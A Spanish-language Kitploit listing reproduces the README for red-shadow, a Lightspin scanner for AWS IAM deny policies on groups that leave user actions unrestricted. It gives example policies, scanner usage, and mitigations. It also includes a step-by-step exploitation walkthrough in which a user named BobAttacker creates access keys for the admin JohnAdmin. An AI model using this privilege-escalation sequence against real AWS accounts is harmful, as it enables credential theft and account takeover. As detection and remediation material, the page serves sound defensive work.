Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
red-shadow — Escanea configuraciones de IAM de AWS en busca de shadow admins detectando políticas de denegación mal configuradas que no restringen las acciones de los usuarios sobre grupos, permitiendo la detección y remediación de escalada de privilegios. | Kitploit
Herramientas/GitHubGitHub/lightspin-tech/red-shadow
Seguridad de Infraestructura en la NubeEscáneres de VulnerabilidadesPruebas de PenetraciónSeguridad en la NubeGestión de Identidad y Acceso (IAM)Mala Configuración
GitHublightspin-tech/red-shadow

red-shadow

Escanea configuraciones de IAM de AWS en busca de shadow admins detectando políticas de denegación mal configuradas que no restringen las acciones de los usuarios sobre grupos, permitiendo la detección y remediación de escalada de privilegios.

Ver Repositorio
9522hace 5 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

red-shadow

Red-Shadow

Escáner de Vulnerabilidades AWS IAM de Lightspin

Descripción

Escanea tu configuración de AWS IAM en busca de administradores sombra en AWS IAM basados en políticas de denegación mal configuradas que no afectan a los usuarios en grupos, descubiertas por el equipo de investigación de seguridad de Lightspin.

La herramienta detecta las configuraciones incorrectas en los siguientes objetos de IAM:

  • Políticas administradas

  • Políticas en línea de usuarios

  • Políticas en línea de grupos

  • Políticas en línea de roles

Resumen de la investigación

La lógica de evaluación de AWS IAM para políticas de denegación aplicadas a grupos no funciona de la misma manera que la mayoría de los ingenieros de seguridad podrían estar acostumbrados con otros mecanismos de autorización.

Supongamos que una política con un recurso de grupo tiene una denegación explícita. En ese caso, esto solo afectará las acciones del grupo y no las acciones del usuario, exponiendo a las organizaciones a configuraciones incorrectas y vulnerabilidades si asumen que el proceso es el mismo que con Active Directory, por ejemplo.

Ejemplo de política json vulnerable:

root@kitploit:~
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "ProtectManagersByDeny",
            "Effect": "Deny",
            "Action": "*",
            "Resource": "arn:aws:iam::123456789999:group/managers"
        }
    ]
}

En este ejemplo, la política debería denegar cualquier acción de iam realizada por usuarios, grupos o roles con esa política adjunta, hacia el grupo llamado managers.

El hecho es que una simple acción de IAM como iam:ChangePassword funcionaría ya que la política de denegación es ineficaz.

Enlace al blog completo de investigación de seguridad

Detección

AWS IAM tiene una clara separación entre las acciones de objetos de usuario y las acciones de objetos de grupo.

La siguiente lista incluye las acciones de objetos de usuario que la herramienta escanea sobre políticas de denegación que afectan a grupos (además de comodín):

root@kitploit:~
AWS_USER_ACTIONS = ["iam:CreateUser",
                     "iam:GetUser",
                     "iam:UpdateUser",
                     "iam:DeleteUser",
                     "iam:GetUserPolicy",
                     "iam:PutUserPolicy",
                     "iam:DeleteUserPolicy",
                     "iam:ListUserPolicies",
                     "iam:AttachUserPolicy",
                     "iam:DetachUserPolicy",
                     "iam:ListAttachedUserPolicies",
                     "iam:SimulatePrincipalPolicy",
                     "iam:GetContextKeysForPrincipalPolicy",
                     "iam:TagUser",
                     "iam:UpdateSSHPublicKey",
                     "iam:UntagUser",
                     "iam:GetSSHPublicKey",
                     "iam:ListUserTags",
                     "iam:DeleteSSHPublicKey",
                     "iam:GetLoginProfile",
                     "iam:GetAccessKeyLastUsed",
                     "iam:UpdateLoginProfile",
                     "iam:UploadSigningCertificate",
                     "iam:DeleteLoginProfile",
                     "iam:ListSigningCertificates",
                     "iam:CreateLoginProfile",
                     "iam:UpdateSigningCertificate",
                     "iam:EnableMFADevice",
                     "iam:DeleteSigningCertificate",
                     "iam:ResyncMFADevice",
                     "iam:ListServiceSpecificCredentials",
                     "iam:ListMFADevices",
                     "iam:ResetServiceSpecificCredential",
                     "iam:DeactivateMFADevice",
                     "iam:CreateServiceSpecificCredential",
                     "iam:ChangePassword",
                     "iam:UpdateServiceSpecificCredential",
                     "iam:CreateAccessKey",
                     "iam:DeleteServiceSpecificCredential",
                     "iam:ListAccessKeys",
                     "iam:PutUserPermissionsBoundary",
                     "iam:UpdateAccessKey",
                     "iam:DeleteUserPermissionsBoundary",
                     "iam:DeleteAccessKey",
                     "iam:ListGroupsForUser",
                     "iam:ListSSHPublicKeys",
                     "iam:UploadSSHPublicKey"]

Muchas de las acciones de objetos de usuario mencionadas anteriormente pueden conducir fácilmente a una escalada de privilegios o comprometer la cuenta, como restablecer la contraseña del administrador, desactivar el MFA de la cuenta raíz, y más.

Requisitos

Red-Shadow está construido con Python 3 y Boto3.

La herramienta requiere:

  • Usuario de IAM con clave de acceso en variables de entorno del SO
  • Permisos suficientes para que el usuario de IAM ejecute el escáner
  • Python 3 y pip3 instalados

Instalación

root@kitploit:~
sudo git clone https://github.com/lightspin-tech/red-shadow.git
cd red-shadow
pip3 install -r requirements.txt

Uso

root@kitploit:~
python3 red-shadow.py

Analizar resultados

Los resultados descubren cualquier objeto de IAM que sea vulnerable a dicha omisión de autorización en AWS.

Ejemplo de salida de resultados:

root@kitploit:~
++ Starting Red-Shadow ++

++ AWS IAM Vulnerability Scanner
++ Red Shadow scans for shadow admins in AWS IAM based on misconfigured deny policies not affecting users in groups

Step 1: Searching for IAM Group misconfigurations in managed policies
Found potential misconfiguration at arn:aws:iam::123456789999:policy/ProtectManagers
Progress: |██████████████████████████████████████████████████| 100.0% Complete
Step 2: Searching for IAM Group misconfigurations in Users inline policies
Progress: |██████████████████████████████████████████████████| 100.0% Complete
Step 3: Searching for IAM Group misconfigurations in Groups inline policies
Progress: |██████████████████████████████████████████████████| 100.0% Complete
Step 4: Searching for IAM Group misconfigurations in Roles inline policies
Progress: |██████████████████████████████████████████████████| 100.0% Complete
Done

En esta salida de consola, podemos ver que nuestra política de denegación ProtectManagers es ineficaz y vulnerable a ataques como la escalada de privilegios mencionada anteriormente.

Simulación y explotación

Para validar la vulnerabilidad de IAM y ejecutar la explotación, puedes seguir el siguiente flujo:

  1. aws iam create-group --group-name managers
  2. aws iam attach-group-policy --group-name managers --policy-arn arn:aws:iam::aws:policy/AdministratorAccess
  3. aws iam create-user --user-name JohnAdmin
  4. aws iam add-user-to-group --user-name JohnAdmin --group-name managers
  5. crea un archivo policy.json con el siguiente contenido (reemplaza el ID de cuenta):
root@kitploit:~
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Sid": "ProtectManagersByDeny",
      "Effect": "Deny",
      "Action": "*",
      "Resource": "arn:aws:iam::123456789999:group/managers"
    }
  ]
}
  1. aws iam create-policy --policy-name ProtectManagers --policy-document file://policy.json
  2. aws iam create-group --group-name backend-dev
  3. aws iam create-user --user-name BobAttacker
  4. aws iam add-user-to-group --user-name BobAttacker --group-name backend-dev
  5. aws iam attach-group-policy --group-name backend-dev --policy-arn arn:aws:iam::123456789999:policy/ProtectManagers
  6. Crea una política para permitir a los usuarios crear claves de acceso en el archivo policy_iam.json para el grupo backend-dev:
root@kitploit:~
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "VisualEditor0",
            "Effect": "Allow",
            "Action": "iam:CreateAccessKey",
            "Resource": "*"
        }
    ]
}
  1. aws iam create-policy --policy-name devCreateAccessKeys --policy-document file://policy_iam.json
  2. aws iam attach-group-policy --group-name backend-dev --policy-arn arn:aws:iam::123456789999:policy/devCreateAccessKeys
  3. Valida tu configuración usando: aws iam list-attached-group-policies --group backend-dev
  4. aws iam create-access-key --user-name BobAttacker
  5. Configura la nueva clave de acceso y secreto en el perfil de AWS (entorno local)
  6. Ahora el usuario BobAttacker puede crear clave de acceso para todos los recursos pero tiene una denegación explícita para el grupo managers.

Explotemos la vulnerabilidad usando:

aws iam create-access-key --user-name JohnAdmin --profile BobAttacker

¡Escalada de privilegios completa!

Mitigación

Una vez que hayas encontrado las políticas vulnerables a la omisión de autorización, hay dos formas posibles de mitigar la vulnerabilidad y corregir la política:

OPCIÓN 1: Define todos los usuarios relevantes en el campo de recurso en lugar de grupos para evitar acciones de iam ineficaces, y deniega todas las acciones de grupo, como en el siguiente ejemplo:

root@kitploit:~
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "DenySpecificUserActions",
            "Effect": "Deny",
            "Action": [
                "iam:CreateLoginProfile",
                "iam:ChangePassword",
                "iam:CreateAccessKey"
            ],
            "Resource": [
                "arn:aws:iam::123456789999:user/[email protected]",
                "arn:aws:iam::123456789999:user/[email protected]",
                "arn:aws:iam::123456789999:user/[email protected]"
            ]
        },
        {
            "Sid": "DenyAllGroupActions",
            "Effect": "Deny",
            "Action": "*",
            "Resource": "arn:aws:iam::123456789999:group/managers"
        }
    ]
}

OPCIÓN 2: Usa una condición en la política con iam:ResourceTag en su lugar, como en el siguiente ejemplo:

root@kitploit:~
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "VisualEditor0",
            "Effect": "Deny",
            "Action": [
                "iam:CreateLoginProfile",
                "iam:ChangePassword",
                "iam:CreateAccessKey"
            ],
            "Resource": "*",
            "Condition": {
                "ForAnyValue:StringEquals": {
                    "iam:ResourceTag/group": "managers"
                }
            }
        }
    ]
}

Contáctanos

Esta investigación fue realizada por el equipo de investigación de seguridad de Lightspin. Para más información, contáctanos en [email protected].

Licencia

Este repositorio está disponible bajo la Licencia Apache 2.0.

Descargar herramienta